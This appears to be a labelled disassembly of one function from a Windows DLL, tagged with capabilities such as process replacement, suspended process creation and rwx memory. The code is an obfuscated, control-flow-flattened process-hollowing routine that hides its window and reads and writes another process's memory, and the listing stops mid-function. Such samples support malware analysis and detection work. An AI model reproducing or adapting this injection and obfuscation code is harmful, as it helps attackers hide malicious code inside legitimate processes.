Function at 0x10002eb0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x14c
mov eax, dword [0x1003a600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x154], 0x17a737cb
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x158], eax
sub eax, 0x812283c9
je 0x10005a8e
jmp 0x10002eec
mov eax, dword [ebp - 0x158]
sub eax, 0x81578595
je 0x10008271
jmp 0x10002f02
mov eax, dword [ebp - 0x158]
sub eax, 0x81d3766b
je 0x1000b333
jmp 0x10002f18
mov eax, dword [ebp - 0x158]
sub eax, 0x823e2bbf
je 0x1000b23a
jmp 0x10002f2e
mov eax, dword [ebp - 0x158]
sub eax, 0x8292cee2
je 0x100094bd
jmp 0x10002f44
mov eax, dword [ebp - 0x158]
sub eax, 0x830a7ccc
je 0x10008220
jmp 0x10002f5a
mov eax, dword [ebp - 0x158]
sub eax, 0x83fbf22e
je 0x10005eec
jmp 0x10002f70
mov eax, dword [ebp - 0x158]
sub eax, 0x84d80bf5
je 0x10009af8
jmp 0x10002f86
mov eax, dword [ebp - 0x158]
sub eax, 0x84fd4a04
je 0x10008407
jmp 0x10002f9c
mov eax, dword [ebp - 0x158]
sub eax, 0x84fe2b2f
je 0x10006ff9
jmp 0x10002fb2
mov eax, dword [ebp - 0x158]
sub eax, 0x85cc5222
je 0x10009de1
jmp 0x10002fc8
mov eax, dword [ebp - 0x158]
sub eax, 0x89fab2b3
je 0x10006ddb
jmp 0x10002fde
mov eax, dword [ebp - 0x158]
sub eax, 0x8a3b5900
je 0x1000b314
jmp 0x10002ff4
mov eax, dword [ebp - 0x158]
sub eax, 0x8abc28a4
je 0x1000af07
jmp 0x1000300a
mov eax, dword [ebp - 0x158]
sub eax, 0x8afc7ee4
je 0x100067a6
jmp 0x10003020
mov eax, dword [ebp - 0x158]
sub eax, 0x8b3941c2
je 0x100093ec
jmp 0x10003036
mov eax, dword [ebp - 0x158]
sub eax, 0x8b437182
je 0x1000a233
jmp 0x1000304c
mov eax, dword [ebp - 0x158]
sub eax, 0x8b80fe7d
je 0x1000b06a
jmp 0x10003062
mov eax, dword [ebp - 0x158]
sub eax, 0x8b9a07e5
je 0x10005c96
jmp 0x10003078
mov eax, dword [ebp - 0x158]
sub eax, 0x8c15bbf0
je 0x10005f28
jmp 0x1000308e
mov eax, dword [ebp - 0x158]
sub eax, 0x8ddd2c68
je 0x10007f23
jmp 0x100030a4
mov eax, dword [ebp - 0x158]
sub eax, 0x8e21bac6
je 0x10006aa2
jmp 0x100030ba
mov eax, dword [ebp - 0x158]
sub eax, 0x8e637d60
je 0x10007a79
jmp 0x100030d0
mov eax, dword [ebp - 0x158]
sub eax, 0x8f4b4ae4
je 0x1000a242
jmp 0x100030e6
mov eax, dword [ebp - 0x158]
sub eax, 0x8fbfcb79
je 0x1000b67c
jmp 0x100030fc
mov eax, dword [ebp - 0x158]
sub eax, 0x900378be
je 0x1000a89b
jmp 0x10003112
mov eax, dword [ebp - 0x158]
sub eax, 0x904f36d6
je 0x10007225
jmp 0x10003128
mov eax, dword [ebp - 0x158]
sub eax, 0x909f0f39
je 0x1000ac4b
jmp 0x1000313e
mov eax, dword [ebp - 0x158]
sub eax, 0x90fa4923
je 0x100069f9
jmp 0x10003154
mov eax, dword [ebp - 0x158]
sub eax, 0x91128a68
je 0x10007dab
jmp 0x1000316a
mov eax, dword [ebp - 0x158]
sub eax, 0x92ded55c
je 0x10008ffa
jmp 0x10003180
mov eax, dword [ebp - 0x158]
sub eax, 0x93287744
je 0x10009193
jmp 0x10003196
mov eax, dword [ebp - 0x158]
sub eax, 0x938fa4ff
je 0x1000a340
jmp 0x100031ac
mov eax, dword [ebp - 0x158]
sub eax, 0x9392de35
je 0x100089e4
jmp 0x100031c2
mov eax, dword [ebp - 0x158]
sub eax, 0x93a269ef
je 0x1000aa22
jmp 0x100031d8
mov eax, dword [ebp - 0x158]
sub eax, 0x94181c20
je 0x1000862f
jmp 0x100031ee
mov eax, dword [ebp - 0x158]
sub eax, 0x944223d6
je 0x10006d46
jmp 0x10003204
mov eax, dword [ebp - 0x158]
sub eax, 0x94a19181
je 0x100057f7
jmp 0x1000321a
mov eax, dword [ebp - 0x158]
sub eax, 0x95045092
je 0x10009890
jmp 0x10003230
mov eax, dword [ebp - 0x158]
sub eax, 0x955ebfa3
je 0x100058ad
jmp 0x10003246
mov eax, dword [ebp - 0x158]
sub eax, 0x95bd371b
je 0x10008dcd
jmp 0x1000325c
mov eax, dword [ebp - 0x158]
sub eax, 0x964d2d16
je 0x100065da
jmp 0x10003272
mov eax, dword [ebp - 0x158]
sub eax, 0x965ccb09
je 0x100054cc
jmp 0x10003288
mov eax, dword [ebp - 0x158]
sub eax, 0x967c6efb
je 0x10009052
jmp 0x1000329e
mov eax, dword [ebp - 0x158]
sub eax, 0x96a1bcf6
je 0x1000965a
jmp 0x100032b4
mov eax, dword [ebp - 0x158]
sub eax, 0x96a26de7
je 0x10007750
jmp 0x100032ca
mov eax, dword [ebp - 0x158]
sub eax, 0x96b5325a
je 0x1000a495
jmp 0x100032e0
mov eax, dword [ebp - 0x158]
sub eax, 0x984fcd37
je 0x10007008
jmp 0x100032f6
mov eax, dword [ebp - 0x158]
sub eax, 0x9a552913
je 0x1000b098
jmp 0x1000330c
mov eax, dword [ebp - 0x158]
sub eax, 0x9af287bc
je 0x1000abfa
jmp 0x10003322
mov eax, dword [ebp - 0x158]
sub eax, 0x9b26adcc
je 0x100096f1
jmp 0x10003338
mov eax, dword [ebp - 0x158]
sub eax, 0x9ba26c9b
je 0x1000a808
jmp 0x1000334e
mov eax, dword [ebp - 0x158]
sub eax, 0x9bd7ff34
je 0x10005e0c
jmp 0x10003364
mov eax, dword [ebp - 0x158]
sub eax, 0x9c42e611
je 0x10005b23
jmp 0x1000337a
mov eax, dword [ebp - 0x158]
sub eax, 0x9d811a07
je 0x100077e3
jmp 0x10003390
mov eax, dword [ebp - 0x158]
sub eax, 0x9db16831
je 0x10009bf9
jmp 0x100033a6
mov eax, dword [ebp - 0x158]
sub eax, 0x9ecbd7b1
je 0x10009968
jmp 0x100033bc
mov eax, dword [ebp - 0x158]
sub eax, 0x9fa9bed6
je 0x10007dfc
jmp 0x100033d2
mov eax, dword [ebp - 0x158]
sub eax, 0xa0070dbf
je 0x1000afe0
jmp 0x100033e8
mov eax, dword [ebp - 0x158]
sub eax, 0xa015d1c2
je 0x10006427
jmp 0x100033fe
mov eax, dword [ebp - 0x158]
sub eax, 0xa0add97f
je 0x1000a449
jmp 0x10003414
mov eax, dword [ebp - 0x158]
sub eax, 0xa17af5d3
je 0x10008125
jmp 0x1000342a
mov eax, dword [ebp - 0x158]
sub eax, 0xa2162aad
je 0x1000b750
jmp 0x10003440
mov eax, dword [ebp - 0x158]
sub eax, 0xa25cfec4
je 0x10005cf1
jmp 0x10003456
mov eax, dword [ebp - 0x158]
sub eax, 0xa449c361
je 0x10009c63
push eax
mov eax, esp
mov dword [ebp - 0x114], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0x110], eax
push eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100011c0
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.100011c0
add esp, 4
movss xmm0, dword [0x100183ac]
movss dword [ebp - 0x120], xmm0
movss xmm0, dword [0x100183a8]
movss dword [ebp - 0x120], xmm0
movss xmm0, dword [0x100183a4]
movss dword [ebp - 0x120], xmm0
mov dl, 1
mov eax, 0xf7d9d01d
mov ecx, 0x2a333385
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b75a
mov dl, 1
mov eax, 0x4df3e86c
mov ecx, 0x317402fe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b75a
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
sub edx, 0x95fbf535
sub edx, 1
add edx, 0x95fbf535
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2d1cb3bd
mov ecx, 0x7195c08d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b75a
movss xmm0, dword [0x10018384]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x154], 0x16c5bb3a
jmp 0x1000b75a
movss xmm0, dword [0x10018244]
movss dword [ebp - 0x120], xmm0
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8abc28a4
mov ecx, 0x4165c38e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b75a
mov dl, 1
mov eax, 0xa25cfec4
mov ecx, 0xd931ec1d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b75a
movss xmm0, dword [0x10018378]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x154], 0xfec6f06
jmp 0x1000b75a
movss xmm0, dword [0x10018374]
movss dword [ebp - 0x124], xmm0
movss xmm0, dword [0x10018370]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x154], 0x7e30ff08
jmp 0x1000b75a
movss xmm0, dword [0x1001836c]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x154], 0x71330daa
jmp 0x1000b75a
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2e5fa8a6
mov ecx, 0xf87598cb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b75a
mov dl, 1
mov eax, 0x13c6785e
mov ecx, 0xe49b2e3b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b75a
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x45070537
mov ecx, 0xf7b7a414
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b75a
mov dword [ebp - 0x154], 0xdbf27a04
jmp 0x1000b75a
mov dword [ebp - 0x154], 0xfd734b9f
jmp 0x1000b75a
movss xmm0, dword [0x100182fc]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x154], 0x7300368d
jmp 0x1000b75a
movss xmm0, dword [0x10018218]
movss dword [ebp - 0x12c], xmm0
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
sub edx, 0x7b8ef05e
sub edx, 1
add edx, 0x7b8ef05e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9a552913
mov ecx, 0xb7b5a866
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b75a
movss xmm0, dword [0x100182ec]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x154], 0x694c22a5
jmp 0x1000b75a
mov dword [ebp - 0x154], 0x984fcd37
jmp 0x1000b75a
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
sub edx, 0xabafbfc2
sub edx, 1
add edx, 0xabafbfc2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf8fc77ed
mov ecx, 0x5d57b05a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b75a
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
sub edx, 0xcc7e62f5
sub edx, 1
add edx, 0xcc7e62f5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd2000d94
mov ecx, 0x1a1b0ffe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b75a
mov dl, 1
mov eax, 0xe7b8a580
mov ecx, 0xeef7da57
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b75a
movss xmm0, dword [0x100181f8]
movss dword [ebp - 0x130], xmm0
movss xmm0, dword [0x100181f4]
movss dword [ebp - 0x130], xmm0
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
sub edx, 0x694aeb81
sub edx, 1
add edx, 0x694aeb81
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc1ca08c4
mov ecx, 0x5d9287de
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b75a
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcfcf0258
mov ecx, 0x2691ea9d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b75a
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
sub edx, 0x2fdf6e37
sub edx, 1
add edx, 0x2fdf6e37
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdff8286a
mov ecx, 0x9fa9bed6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b75a
movss xmm0, dword [0x100181d4]
movss dword [ebp - 0x134], xmm0
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
sub edx, 0xa72d4894
sub edx, 1
add edx, 0xa72d4894
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdff8286a
mov ecx, 0xbf452eb6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b75a
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
add edx, 0x1121ee1c
sub edx, 1
sub edx, 0x1121ee1c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x768af4bb
mov ecx, 0xddfb8030
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b75a
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8a3b5900
mov ecx, 0x6bb2908f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b75a
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
sub edx, 0xe4f9a359
sub edx, 1
add edx, 0xe4f9a359
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x81d3766b
mov ecx, 0x81578595
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b75a
movss xmm0, dword [0x100181c0]
movss dword [ebp - 0x134], xmm0
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x81d3766b
mov ecx, 0xebfe95e7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b75a
movss xmm0, dword [0x100182b8]
movss dword [ebp - 0x134], xmm0
movss xmm0, dword [0x100182b4]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x154], 0x101e6fc8
jmp 0x1000b75a
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
sub edx, 0x85cc53ea
sub edx, 1
add edx, 0x85cc53ea
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc59dfd0c
mov ecx, 0xec6f4448
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b75a
movss xmm0, dword [0x100181b0]
movss dword [ebp - 0x138], xmm0
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
sub edx, 0x194eb9ea
sub edx, 1
add edx, 0x194eb9ea
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcb701ee
mov ecx, 0x42b994db
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b75a
movss xmm0, dword [0x100181a4]
movss dword [ebp - 0x13c], xmm0
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
add edx, 0xed7b5299
sub edx, 1
sub edx, 0xed7b5299
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3929c196
mov ecx, 0xe38e92c0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b75a
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1a9c4c14
mov ecx, 0x733f8df2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b75a
movss xmm0, dword [0x10018264]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x154], 0x3eb057fd
jmp 0x1000b75a
movss xmm0, dword [0x10018258]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x154], 0xe59f1bc5
jmp 0x1000b75a
movss xmm0, dword [0x10018190]
movss dword [ebp - 0x13c], xmm0
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
add edx, 0x40a37376
sub edx, 1
sub edx, 0x40a37376
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x218514d0
mov ecx, 0x47b5ab1f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b75a
movss xmm0, dword [0x10018250]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x154], 0xa6a84b08
jmp 0x1000b75a
mov dl, byte [ebp - 0xd5]
mov eax, 0x4cc7f3c0
mov ecx, 0x5dade9f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b75a
lea eax, [ebp - 0x20]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.1000cb00
add esp, 0xc
lea eax, [ebp - 0x64]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.1000cb00
add esp, 0xc
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax + 0xe8]
mov dword [ebp - 0xd4], eax
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2f79f80
mov ecx, 0xf21801fa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b75a
mov dl, byte [ebp - 0xcf]
mov eax, 0xc8cd31fd
mov ecx, 0xd1bbffc9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b75a
mov dword [ebp - 0x154], 0xd1bbffc9
jmp 0x1000b75a
mov dword [ebp - 0x154], 0xe7c8080d
jmp 0x1000b75a
mov dl, byte [ebp - 0xcd]
mov eax, 0x9af287bc
mov ecx, 0x6d7a1e36
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b75a
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp - 0xc4]
mov dword [eax], ecx
mov dword [ebp - 0x154], 0xe1c5854b
jmp 0x1000b75a
mov dword [ebp - 0x154], 0x8f4b4ae4
jmp 0x1000b75a
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
add eax, 0x982f1c83
add eax, 1
sub eax, 0x982f1c83
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x154], 0xa88f1474
jmp 0x1000b75a
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x154], 0xc87e3cd1
jmp 0x1000b75a
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14c]
cmp eax, dword [ecx + 0x34]
setne al
and al, 1
mov byte [ebp - 0x92], al
mov dword [ebp - 0x154], 0x211c6c09
jmp 0x1000b75a
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2e48446b
mov ecx, 0x700bc0a3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b75a
mov eax, dword [ebp - 0x7c]
mov ecx, 0xffffffff
xor ecx, 0xfff
mov edx, eax
xor edx, ecx
and edx, eax
mov ecx, dword [ebp - 0x80]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xe4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xe0]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0x6161ef87
mov ecx, 0x5478d56c
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b75a
mov eax, dword [ebp - 0xe0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x78]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xe0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xe0]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x154], 0x6161ef87
jmp 0x1000b75a
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x154], 0xb076cf9d
jmp 0x1000b75a
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
sub edx, 0xf0e022f4
sub edx, 1
add edx, 0xf0e022f4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd4b94485
mov ecx, 0x909f0f39
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000b75a
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
add edx, 0x5ee43090
sub edx, 1
